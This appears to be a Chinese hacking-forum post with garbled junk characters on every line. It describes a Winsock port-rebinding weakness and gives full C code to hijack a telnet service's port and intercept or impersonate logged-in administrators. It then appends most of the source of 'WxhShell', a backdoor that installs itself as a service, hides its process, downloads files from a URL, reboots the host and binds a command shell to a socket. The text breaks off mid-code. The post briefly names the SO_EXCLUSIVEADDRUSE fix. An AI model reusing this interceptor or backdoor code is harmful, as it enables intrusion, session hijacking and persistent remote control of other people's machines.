在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
\x(ILk|'c s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
kuX{2h*` 'c6t,% saddr.sin_family = AF_INET;
BSyl!>G6n8 A
,$CYLj+ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
1Uy'TEk &N+i3l6` bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
eI #b%h He1hgJ)N 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
tjId?}\ jeu|9{iTVu 这意味着什么?意味着可以进行如下的攻击:
8c%Sd'+Pt X"sc'#G T 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
m ?)k&{I @,\J\ rb 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
?D?ldg (H[.\O-` 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
/%F}vW(! p)k5Uh" 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
v9_7OMl/x e'y$X;nIv 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
hKjG/g:#G q4xP<b^ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
l.iT+T [t}@>@W| 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Quts~Q pRez${f.(s #include
m|by^40A( #include
pl4:>4l/ #include
+9fQ YJBA #include
f_m~_`m DWORD WINAPI ClientThread(LPVOID lpParam);
eE0'3?q( int main()
rm5@dM@ {
3ss0/\3P WORD wVersionRequested;
hN"cXz"/ DWORD ret;
*K'_"2J WSADATA wsaData;
L8{4>, BOOL val;
.Xcf*$.;s SOCKADDR_IN saddr;
FPC^-mD SOCKADDR_IN scaddr;
4))5l9kc. int err;
*u)#yEJ) SOCKET s;
QNcbl8@ SOCKET sc;
`z!6zo2d int caddsize;
tso\bxiU HANDLE mt;
t3VZjO DWORD tid;
tupAU$h?! wVersionRequested = MAKEWORD( 2, 2 );
C&/_mm5 err = WSAStartup( wVersionRequested, &wsaData );
W>'KE:!sp if ( err != 0 ) {
K @h94Ni6 printf("error!WSAStartup failed!\n");
hf1h*x^J return -1;
esk~\!d }
^U.t5jj saddr.sin_family = AF_INET;
b+tm[@|,v 4R&e5! //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
dm~Uj p?H2W- saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
xWuvT, ^ saddr.sin_port = htons(23);
p\G1O*Z if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
WMXxP gik {
zPyN2|iFah printf("error!socket failed!\n");
}9*N EU)o return -1;
(/^dyG|X' }
m2j]wUh" val = TRUE;
&0k`=?v$ //SO_REUSEADDR选项就是可以实现端口重绑定的
d cG)ql4d if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
87ptab@ {
)TtYm3, printf("error!setsockopt failed!\n");
B'QcD return -1;
g}gOAN3. }
? \p,s-CR: //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
6BY(Y(z //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
x4Wu`-4^ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
wN2D{Jj zS/1v+ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
VC.zmCglo^ {
?C`&*+ ret=GetLastError();
E06)&tF printf("error!bind failed!\n");
UPGS/Xs]1 return -1;
('oA{,#L }
4DV@- listen(s,2);
j9g0k<eg while(1)
K4vOy_wT {
8 \Uy caddsize = sizeof(scaddr);
gaC[%M //接受连接请求
h~-cnAMt sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
|FP@NUX\ if(sc!=INVALID_SOCKET)
Cb
i;CF\{ {
z>A;|iL mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
WCL#3uYk" if(mt==NULL)
M}\p/r= {
,: Z7P@
printf("Thread Creat Failed!\n");
z:)z]6 break;
=DsFR9IB }
]wHXrB8vx }
QqCwyK0 CloseHandle(mt);
Z1N=tL }
8o\KF(I closesocket(s);
B.F~/PET WSACleanup();
YGsg0I't return 0;
^EZ?wdL }
mXJ`t5v^l DWORD WINAPI ClientThread(LPVOID lpParam)
$l/w.z {
%Y-KjSs+l SOCKET ss = (SOCKET)lpParam;
=`/GBT$ SOCKET sc;
_BPp=(| unsigned char buf[4096];
N@3&e;y SOCKADDR_IN saddr;
L
4Sa,ZL long num;
@E%fAC DWORD val;
c1}i|7/XSi DWORD ret;
~aL&,0 //如果是隐藏端口应用的话,可以在此处加一些判断
+T8]R7b9 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
?O.'_YS saddr.sin_family = AF_INET;
8umW> saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Gr|IM,5P4 saddr.sin_port = htons(23);
30<3DA_P if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Q4B(NYEu( {
H|I.h{: printf("error!socket failed!\n");
Nf1&UgX return -1;
' )~G2Ys }
hpOK9 val = 100;
7f]O / if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
vhz Q.> {
0RGqpJxk ret = GetLastError();
CQh6;[\: return -1;
|TRl>1rv }
5$%CRm if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~zcB@; : {
/ 0y5/ ret = GetLastError();
a'|/=$
return -1;
ofy)}/i }
wY{!gQ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
6>F1!Q {
.,&6 x. printf("error!socket connect failed!\n");
IiZXIG4H closesocket(sc);
*zl-R*bM$ closesocket(ss);
<hB~|a<# return -1;
G`R_kg9$ }
l*]nvd_ while(1)
U!i @XA%P {
$&KiN82, //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
M <ccfU! //如果是嗅探内容的话,可以再此处进行内容分析和记录
i/aj;t //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
o!sHK9hvJ) num = recv(ss,buf,4096,0);
TSKR~3D# if(num>0)
x%OJ3Qjj= send(sc,buf,num,0);
)vy_m_f& else if(num==0)
sZ%wQqy~k break;
%+ur41HM num = recv(sc,buf,4096,0);
O_^
uLp if(num>0)
^)S<Ha send(ss,buf,num,0);
@i=_y+|d_ else if(num==0)
uE^5o\To break;
Ie'iAY }
jFGY`9Zw0 closesocket(ss);
^y2}C$1V closesocket(sc);
l^;=0UR_ return 0 ;
*$9Rb2}kK }
8
_|"+Ze G^A }T3 R~N'5#.*M ==========================================================
4$Ud4< 2,e>gP\] 下边附上一个代码,,WXhSHELL
z2god 1" 91:TE8?Z ==========================================================
)g[7XB/w yPT\9"/ #include "stdafx.h"
6;p"xC- *#c^.4$' #include <stdio.h>
cW?~]E'< #include <string.h>
Qo])A6$IU #include <windows.h>
'$Fu3%ft #include <winsock2.h>
:Nl.< 6+ #include <winsvc.h>
of0hJR #include <urlmon.h>
ldNWdz ;`rz ]7,* #pragma comment (lib, "Ws2_32.lib")
sp&g #pragma comment (lib, "urlmon.lib")
XE?,)8 .7r$jmuFs #define MAX_USER 100 // 最大客户端连接数
z.0!FUd #define BUF_SOCK 200 // sock buffer
ydf;g5OZ #define KEY_BUFF 255 // 输入 buffer
2/RW( U !Tu4V\^~A #define REBOOT 0 // 重启
\5R>+[n! #define SHUTDOWN 1 // 关机
^/"2s}+ e\WG-zi/ #define DEF_PORT 5000 // 监听端口
W0s3nio p0@l581 #define REG_LEN 16 // 注册表键长度
{^6<Ohe4j #define SVC_LEN 80 // NT服务名长度
_v +At;Y S@6 :H" // 从dll定义API
fp'%lbk= typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
BTa#}LBZ+ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
C:{&cIFrPe typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
eZ;DNZK av typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
W=zp:6Z~ 6d%)MEM // wxhshell配置信息
WkSv@Y, struct WSCFG {
K?X
6@u|h int ws_port; // 监听端口
R\:t
73 char ws_passstr[REG_LEN]; // 口令
t2#zQ[~X! int ws_autoins; // 安装标记, 1=yes 0=no
A=l1_8,`h char ws_regname[REG_LEN]; // 注册表键名
SS"Z>talw char ws_svcname[REG_LEN]; // 服务名
h f9yK6 char ws_svcdisp[SVC_LEN]; // 服务显示名
QIu!o,B char ws_svcdesc[SVC_LEN]; // 服务描述信息
%tZ[wwt char ws_passmsg[SVC_LEN]; // 密码输入提示信息
CV7%ud]E int ws_downexe; // 下载执行标记, 1=yes 0=no
A\T9>z^k char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
7,,#f&jP char ws_filenam[SVC_LEN]; // 下载后保存的文件名
y];@ M<<?e @j+X>TD };
'~OKt`SfIo : ?z E@Ct // default Wxhshell configuration
#PZBh struct WSCFG wscfg={DEF_PORT,
kYU!6t1 "xuhuanlingzhe",
xqLIs:* 1,
uoe>T: "Wxhshell",
'^~38=FA "Wxhshell",
mBWhC<kKs "WxhShell Service",
<7yn : "Wrsky Windows CmdShell Service",
I oFtfb[ "Please Input Your Password: ",
vC _O!2E 1,
hnnPi "
http://www.wrsky.com/wxhshell.exe",
brClYpp,h "Wxhshell.exe"
xD4G(]d! };
{6brVN.V }I
^e:,{ // 消息定义模块
jW0aIS2O char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
YV"LM6` char *msg_ws_prompt="\n\r? for help\n\r#>";
">rt *?^ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Cswa5l`af char *msg_ws_ext="\n\rExit.";
w"?E=RS char *msg_ws_end="\n\rQuit.";
l527>7 eT char *msg_ws_boot="\n\rReboot...";
FN29 5:Iuw char *msg_ws_poff="\n\rShutdown...";
eVB.g@%T char *msg_ws_down="\n\rSave to ";
p="K4E8~H 4&'_~ qU char *msg_ws_err="\n\rErr!";
k
ks
?S', char *msg_ws_ok="\n\rOK!";
2-.%WhE/ "i/3m'<2 char ExeFile[MAX_PATH];
a#i%7mfn int nUser = 0;
?*A"#0 HANDLE handles[MAX_USER];
O!.mc=Gx7 int OsIsNt;
~AG."<} u@$pOLI SERVICE_STATUS serviceStatus;
)0xEI SERVICE_STATUS_HANDLE hServiceStatusHandle;
aIABx!83> E?3$ *t // 函数声明
TM1J1GU int Install(void);
P'q ._U int Uninstall(void);
`8N],X int DownloadFile(char *sURL, SOCKET wsh);
*'hvYl/?> int Boot(int flag);
nO7#m~ void HideProc(void);
Rhil]|a/ int GetOsVer(void);
NJTC+`Hm int Wxhshell(SOCKET wsl);
N~@VZbS(6 void TalkWithClient(void *cs);
vV+>JM6<K int CmdShell(SOCKET sock);
'ktWKW$
D int StartFromService(void);
O4w:BWVsn int StartWxhshell(LPSTR lpCmdLine);
>m&r,z ]6 vqgu VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Lmw{ `R VOID WINAPI NTServiceHandler( DWORD fdwControl );
w-(^w9_e V;SXa|, // 数据结构和表定义
x8wal[6 SERVICE_TABLE_ENTRY DispatchTable[] =
um$ K^ {
Afq?Ps+ {wscfg.ws_svcname, NTServiceMain},
~\D
H[Mt {NULL, NULL}
g w`}eA$ };
-(YdK8 aok,qn'j // 自我安装
3O!TVSo int Install(void)
g&6O*vx {
_Q3Ad>,U char svExeFile[MAX_PATH];
W mT(>JBO HKEY key;
2e @zd\ strcpy(svExeFile,ExeFile);
|`yzH$,F ewb/Z[4 // 如果是win9x系统,修改注册表设为自启动
]VS$ ?wD if(!OsIsNt) {
=\l7k< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
;
(;J RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Mb0cdK?hA RegCloseKey(key);
V`z2F'vT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
H<6/i@ly RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
,0R2k `m! RegCloseKey(key);
M:OJL\0 return 0;
pr(16P }
CF k^(V" }
\XXS; }
Fl^}tC else {
Y8yRQz u !.ot&EbE // 如果是NT以上系统,安装为系统服务
c(<,qWH SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
]Ak@!&hyak if (schSCManager!=0)
'hM?J*m {
_F1{<" 4 SC_HANDLE schService = CreateService
^v].mV/ (
k$7@@?< schSCManager,
!B_?_ a wscfg.ws_svcname,
4f?Y'+>Z, wscfg.ws_svcdisp,
+=bGrn>h SERVICE_ALL_ACCESS,
`+(|$?C u SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
GL_a`.=@ SERVICE_AUTO_START,
.h8%zB#|i SERVICE_ERROR_NORMAL,
uoe5@j2 svExeFile,
Eb<iR)e H= NULL,
= ?hx+-' NULL,
]8X Y"2b NULL,
hp E? NULL,
vZns,K#4H\ NULL
uUczD 8y );
R.EA5X|_ if (schService!=0)
&)p/cOiV {
Y+#e| x CloseServiceHandle(schService);
D~xUr)E CloseServiceHandle(schSCManager);
*QF3l0& strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
<k^P>Irb3t strcat(svExeFile,wscfg.ws_svcname);
G/Xa`4"_ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
\
l+RX* RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
%#Vn?zr|~ RegCloseKey(key);
i7[CqObzc return 0;
Q\~4J1 }
M_2[Wypw }
e,}]K'!t CloseServiceHandle(schSCManager);
.FnO }
y^ gazr" }
k]Y#-Q1p~ F`ifHO return 1;
o2 5kFD }
S4]xxc u|=G#y;3 // 自我卸载
]8q5k5~ int Uninstall(void)
b-{\manH {
WRJ+l_81 HKEY key;
?zKVXK7}0 nzTzc5
w if(!OsIsNt) {
w49Wl>M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
8E /]k\ RegDeleteValue(key,wscfg.ws_regname);
SrN;S kS RegCloseKey(key);
]rDf3_!m( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
h@72eav3+ RegDeleteValue(key,wscfg.ws_regname);
G^F4c{3c~ RegCloseKey(key);
,$habq=; return 0;
m%$z&<! }
^b`}g }
x, js}Mlw }
sa`7_KB else {
$.}fL;BzVz ih?_ fW SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
^)b*"o if (schSCManager!=0)
!+.|T9P {
)Xa`LG=| SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
/c`)Er6d if (schService!=0)
qoMYiF}/e {
AjaG.fa]k if(DeleteService(schService)!=0) {
aI|<t^X CloseServiceHandle(schService);
&tKs
t,UR8 CloseServiceHandle(schSCManager);
IC9:&C[ return 0;
B7TA:K
}
MjG=6.J|` CloseServiceHandle(schService);
Y$EqBN }
cW,wN~ CloseServiceHandle(schSCManager);
*&B*/HAN }
x!q$`zF\\ }
bG>pm|/ kF~}htv.= return 1;
$6:j3ZTXrt }
|Gjd f3-=?Z // 从指定url下载文件
#GK&{)$ int DownloadFile(char *sURL, SOCKET wsh)
'=x {
S,vrz!'>A HRESULT hr;
V5K!u8T char seps[]= "/";
:XF;v char *token;
2"nd(+QH char *file;
SPL72+S`, char myURL[MAX_PATH];
(]>c8;o#b char myFILE[MAX_PATH];
6Pl$DSu 4D[W;4/p strcpy(myURL,sURL);
-)
$$4<L token=strtok(myURL,seps);
=4yME while(token!=NULL)
c\.4I4uy {
[dsH0 D&T file=token;
jh`&c{#*)M token=strtok(NULL,seps);
gyieS Xz[ }
FgRlxz PF@<>NO+W GetCurrentDirectory(MAX_PATH,myFILE);
lcvWx%/o@ strcat(myFILE, "\\");
l{aXX[E&1 strcat(myFILE, file);
m$A|Sx&sG$ send(wsh,myFILE,strlen(myFILE),0);
@6ZQkX/ send(wsh,"...",3,0);
}Fyf?TZ$T hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
hkv&Od, if(hr==S_OK)
S'V0c%'QQV return 0;
DI**fywu[3 else
a`GoNh, return 1;
-U"(CGb5 kwK<?\D }
%|o4 U0c *gu~7&yoP // 系统电源模块
L]kSj$A int Boot(int flag)
`#2}[D {
2#ha Icm" HANDLE hToken;
%`HAg MgP TOKEN_PRIVILEGES tkp;
}9>W41 pF#nj`L if(OsIsNt) {
'(kGc% OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
>va#PFHA LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
lW?}jzuo tkp.PrivilegeCount = 1;
`>'E4z]-_ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
-GCGxC2u AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
>&e|ins^N
if(flag==REBOOT) {
LwkZ (Tt
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
I8`@Srw8 return 0;
MH`f!%c }
Am!$\T%2 else {
z`xdRe{QP if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
hPx=3L$ return 0;
Wze\z
}
yFshV\ }
Dx/?0F7V else {
F%lP<4Vx if(flag==REBOOT) {
`K~300-hOb if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
1N1MD@C?P return 0;
; @-7'%(C }
zy8W8h(? else {
d>)*!l2,C if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
R.!'&<Svq return 0;
>"{3lDyq- }
:U0z; }
tqAh&TW3+ OCa74)( return 1;
w=s:eM@ }
~0!s5 8U*}D~%! // win9x进程隐藏模块
g03I<<|@ void HideProc(void)
O2us+DhQ {
tVvRT*>Wb S
j)&! HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
C!]hu)E if ( hKernel != NULL )
vp1IYW {
-{>JF pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
xD,BlDV ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
mMS%O]m,| FreeLibrary(hKernel);
R^<li;Km }
/=*h\8c~ =[FNZ:3 return;
200/ }
kKr7c4q "H" 4(3 // 获取操作系统版本
;x$,x- int GetOsVer(void)
b\Y<1EV^[ {
ZO5_n OSVERSIONINFO winfo;
.EM0R\q winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
G ?jKm_`L GetVersionEx(&winfo);
PF2PMEBx! if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
*R m>bLI return 1;
3E$M{l else
%(MaH return 0;
Fc M }
IC{\iwO/~c :$~)i?ge<5 // 客户端句柄模块
Jajo!X*Wai int Wxhshell(SOCKET wsl)
}KEyJj3"DA {
aJ}y|+Cj SOCKET wsh;
k(pI5N}pJZ struct sockaddr_in client;
C}<j8a? DWORD myID;
3vfm$sx@ {~_X-g5|] while(nUser<MAX_USER)
>k"Z'9l {
7#SXqyP[ int nSize=sizeof(client);
@@"}i7 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
>\y|}|? if(wsh==INVALID_SOCKET) return 1;
~,WG284 eRKuy l handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
epI&R) ] if(handles[nUser]==0)
@e8b'w3 closesocket(wsh);
rG|lRT3-K else
{?!=~vp nUser++;
)y4bb^;z }
ON.C%-T- WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
3gV
17a XZD9vFj1Z return 0;
zePVB-@u }
18f!k :W6`{Z // 关闭 socket
hOw void CloseIt(SOCKET wsh)
S.pL^Ru {
ecDni>W closesocket(wsh);
V9&7K65-1 nUser--;
kU{+@MA; ExitThread(0);
@E;'Ffo }
Tw*:Vw @/FE!6 |O // 客户端请求句柄
y.(Yh1 void TalkWithClient(void *cs)
NF8'O {
}'L7< _ E}LuWFZ& SOCKET wsh=(SOCKET)cs;
;rXkU9 char pwd[SVC_LEN];
R?MRRq char cmd[KEY_BUFF];
Q#w mS&$f char chr[1];
&YC Z
L int i,j;
*(wkgn > Dy<@e while (nUser < MAX_USER) {
U l8G R #JMww if(wscfg.ws_passstr) {
kDbDG,O if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
d5Hp&tm //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
+a1Or //ZeroMemory(pwd,KEY_BUFF);
H3\4&q i=0;
nwuH:6~" while(i<SVC_LEN) {
eB%hP9=:x )r2$!(NQ // 设置超时
8T<LNC fd_set FdRead;
HYU-F_|N=
struct timeval TimeOut;
uq?(( FD_ZERO(&FdRead);
}p,#rOX:A FD_SET(wsh,&FdRead);
UdO(9Jc5^ TimeOut.tv_sec=8;
9<0TF+}> TimeOut.tv_usec=0;
e.-+zkQ8EI int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
cjK\(b3 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
O&BNhuW2 " kp+1sG8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
cHo@F!{o= pwd
=chr[0]; @uA=v/>+
if(chr[0]==0xd || chr[0]==0xa) { O?\UPNb:K
pwd=0; #J=^CE
break; v~E\u
} eb1WTK@
i++; ?.Iau/
} dpAj9CX(
Qp>'V<%m-
// 如果是非法用户,关闭 socket 1i=lJmr
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )(b,v/:
} s/Ne,v
QFekj@
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); XBx&&
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pHKcKqB*13
<[.{aj]QV
while(1) { 3DjlX*
WxPu{N
ZeroMemory(cmd,KEY_BUFF); %!P^se
D+4oV6}~
// 自动支持客户端 telnet标准 )M3}6^s]
j=0; xXb7/.*qE
while(j<KEY_BUFF) { Ln-UN$2~F
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M2Q*#U>6r
cmd[j]=chr[0]; oZ]^zzoEcg
if(chr[0]==0xa || chr[0]==0xd) { v7-z<'?s~
cmd[j]=0; $-^
;Jl
break; A-"2 sp*t
} VT ikLuH
j++; YQ? "~[mL
} ycD.X"
9 +1}8"~
// 下载文件 e^!>W %.7Z
if(strstr(cmd,"http://")) { uwI$t[
send(wsh,msg_ws_down,strlen(msg_ws_down),0); <Wrn/%tL
if(DownloadFile(cmd,wsh)) I{nrOb1G(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); q,;8Ka )
else !2=m
|,
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]?p 9)d=%<
} %Z~0vwY
else { &VPfI
(#e,tu
switch(cmd[0]) { ]mzghH:E
Mo'6<"x
// 帮助 9U]3B)h%m
case '?': { r..&6-%:N
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (V(8E%<c
break; mETGYkPUa
} C[ma!he
// 安装 <@.!\
case 'i': { \u4`6EYF?
if(Install()) yC&u^{~BC
send(wsh,msg_ws_err,strlen(msg_ws_err),0); zrDcO~w
else =Ju%3ptH0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q%S^3C&
break; aHR+4m~)
} w;b;rHAZ\
// 卸载 } "QL"%
case 'r': { Wf!u?nH.5
if(Uninstall()) $y$E1A6h+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8*x/NaH
/\
else \Gl>$5np
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aM5Hp>'nI
break; D[p_uDIz
} l=&\luNz
// 显示 wxhshell 所在路径 ZrNBkfe:
case 'p': { qV{iUtYt
char svExeFile[MAX_PATH]; g:oB j6$
q
strcpy(svExeFile,"\n\r"); j{$2.W$
strcat(svExeFile,ExeFile); @|2sF
send(wsh,svExeFile,strlen(svExeFile),0); '"m-kor
break; f]4j7K!e]
} r }S>t~p:
// 重启 j^5VmG
case 'b': { byJR6f
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mYx6JU*`
if(Boot(REBOOT)) b[U;P=;=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); B;64(Vsa8
else { 2}uSrA7n]
closesocket(wsh); vJ?j#Ch
ExitThread(0); r91b]m3xL
} vqhu%ZyP
break; _uL8TC^
} ^ *1hz<
// 关机 e;8nujdG"
case 'd': { (jI _Dk;
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {Gvv^.H7
if(Boot(SHUTDOWN)) =G\N1E
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `E2RW{$A
else { y9U*E80q{
closesocket(wsh); Ghf/IXq#
ExitThread(0); ~ugyUpY"
} aY8QYK ;?^
break; jdf3XTw
} 3D-VePM=`
// 获取shell 2cQG2N2*
case 's': { ,p' ;Xg6ez
CmdShell(wsh); e3.q8r
closesocket(wsh); M@]@1Q.p
ExitThread(0); /B!Ik:c}
break; ?s5/
} gP2<L5&Z,
// 退出 d3;Sy`.
case 'x': { -|2k$W
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6f*QUw~
CloseIt(wsh); Mi<l;ZP
break; 06]%$-j
} m)ENj6A>yP
// 离开 +JejnG0
case 'q': { G`r/ te sW
send(wsh,msg_ws_end,strlen(msg_ws_end),0); K''2Jfm
closesocket(wsh); yJGnN g
WSACleanup(); duV\Kt/g^
exit(1); 4?33t] "
break; :h8-y&;
} Gp0yRT.
} cT|aQM@iW
} Ex+E66bE
EkpM'j=
// 提示信息 ` InBhU>
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p~yGp]yJ9
} >@0U B@
} 9jI5bi)
b^q%p1
return; E?(:9#02
} E_H.!pr
D[0g0>K
// shell模块句柄 |.?$:D&6
int CmdShell(SOCKET sock) UO(?EELm
{ SnVb D<
STARTUPINFO si; ~o27~R ]
ZeroMemory(&si,sizeof(si)); .#{m1mr
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xM:9XhH1
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &PUn,9 Rm
PROCESS_INFORMATION ProcessInfo; M*Ri1
char cmdline[]="cmd"; YP`/dX"4
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); FO:k
>F
return 0; ;m~%57.;\
} ipD/dx.
Ay|K>8z
// 自身启动模式 ]$)U~)T
iW
int StartFromService(void) KkZS 6rD\
{ dmYgv^t
typedef struct -5y=K40
{ E`b<^l`
DWORD ExitStatus; `s8!zy+
DWORD PebBaseAddress; i4\DSQJ
DWORD AffinityMask; G O[u
